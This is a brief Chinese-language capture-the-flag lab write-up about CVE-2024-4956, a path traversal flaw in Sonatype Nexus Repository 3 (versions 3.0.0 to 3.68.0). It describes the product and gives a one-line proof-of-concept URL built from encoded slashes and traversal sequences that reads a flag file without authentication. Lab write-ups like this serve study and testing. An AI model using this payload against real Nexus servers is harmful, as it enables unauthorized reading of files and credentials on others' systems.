【春秋云镜】CVE-2024-4956 Nexus3 任意文件读取

一、靶场介绍

Sonatype Nexus Repository 3（通常简称为Nexus3）是一个由Sonatype开发的仓库管理工具，用于管理和托管各种软件构件（如Maven构件、Docker镜像等），它提供了一种集中化的方式来存储、管理和分发软件构件，以帮助团队协作和构建自动化。Sonatype Nexus Repository 3.0.0 - 3.68.0版本中存在路径遍历漏洞，未经身份验证的威胁者可构造恶意URL下载目标系统上的任意文件

二、poc

/%2F%2F%2F%2F%2F%2F%2F…%2F…%2F…%2F…%2F…%2F…%2F…%2Fflag